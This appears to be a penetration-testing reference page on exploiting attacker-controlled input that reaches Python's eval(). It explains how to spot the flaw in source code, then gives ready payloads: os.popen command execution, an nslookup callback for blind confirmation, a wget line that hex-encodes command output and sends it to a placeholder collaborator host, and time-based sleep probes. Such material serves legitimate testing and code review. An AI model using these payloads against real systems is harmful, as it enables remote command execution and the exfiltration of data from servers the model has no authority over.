Skip to content
eval manual testing

eval manual testing

Python eval code injection — manual testing

Manual source review, testing, and exploitation for attacker-controlled expressions reaching Python’s built-in eval().

Source review

eval() accepts a string containing one Python expression, parses and executes that expression, then returns its result. An expression produces a value, such as 7 * 7 or a function call; statements such as import os and for loops cannot be passed directly as the first argument.

The optional globals and locals arguments are dictionaries that map variable names to Python objects. They control which names the evaluated expression can resolve. This is similar to executing the expression with a prepared set of variables already assigned.

eval(source, globals=None, locals=None)

The direct vulnerable pattern passes attacker-controlled text as the complete source expression:

result = eval(user_input)

An expression is also injectable when attacker-controlled text is inserted into a larger source string before evaluation:

expression = f"price * {user_input}"
result = eval(expression, {"price": price})

Values passed through globals or locals reach the expression as data. Code injection requires attacker-controlled text inside the expression source:

result = eval("price * quantity", {"price": user_price, "quantity": user_quantity})

Trace the first eval() argument backward through assignments, formatting operations, concatenation, and wrapper functions. Code injection occurs when attacker-controlled text becomes all or part of that source expression.

Evaluation namespace

If the supplied globals dictionary does not contain a __builtins__ key, Python adds that key before evaluating the expression. Its value provides Python’s built-in functions, including __import__(), exec(), and open().

result = eval(user_input, {})

A caller can replace __builtins__ with a restricted dictionary. Application objects may also be inserted under custom names through globals or locals. The usable primitive therefore depends on the exact dictionaries passed to eval(), not only on the expression string.

Testing

Use an arithmetic expression when the evaluated result is returned or otherwise visible.

7 * 7

Expected result

49

A syntax error only proves that input affected parsing. A deterministic evaluated result such as 49 confirms that the input is treated as a Python expression.

In-band exploitation

When builtins are available and the evaluated result reaches the response, import os, execute a command, and return its stdout as the expression result.

__import__("os").popen("<COMMAND>").read()

Expected result

<COMMAND_OUTPUT>

OOB confirmation

When command output is not returned, use a DNS lookup to confirm blind server-side execution.

exec('import os;os.system("nslookup <COLLABORATOR_DOMAIN>")')

exec is a built-in function, so calling it is a valid expression accepted by eval(). The string passed into exec() is parsed separately and may contain statements such as import os. exec() returns None; the HTTP response may therefore be empty, unchanged, or fail later in the surrounding operation. The DNS callback is the execution signal.

OOB exfiltration

DNS confirms execution but does not return command output. When HTTP egress is available, run the command inside a wget callback and hex-encode stdout into the data query parameter.

__import__("os").system("wget -qO /dev/null http://<COLLABORATOR_DOMAIN>/?data=$(<COMMAND> | xxd -p -c 9999)")

wget -qO /dev/null sends the request quietly and discards its response body. xxd -p -c 9999 produces a single-line, URL-safe hexadecimal value.

Expected collaborator request

GET /?data=<HEX_COMMAND_OUTPUT> HTTP/1.1
Host: <COLLABORATOR_DOMAIN>

Decode the captured value manually:

echo '<HEX_COMMAND_OUTPUT>' | xxd -r -p

Expected output

<COMMAND_OUTPUT>

Time-based confirmation

When outbound connections are blocked, compare two expressions that return the same value but sleep for different durations.

Immediate control

__import__("time").sleep(0)

Five-second delay

__import__("time").sleep(5)

Both expressions return None. The delayed request should take approximately five seconds longer than the control. Repeat both requests and compare their timings so ordinary network latency is not mistaken for execution.

Find by: python code injection, python eval injection, eval, builtins.eval, expression injection, expression string, globals, locals, namespace, builtins, import, exec, popen, command output, in band, nslookup, oast, collaborator, dns callback, wget, xxd, hex exfiltration, OOB exfiltration, blind execution, time based, sleep, outbound blocked · Source: Python built-in eval and exec documentation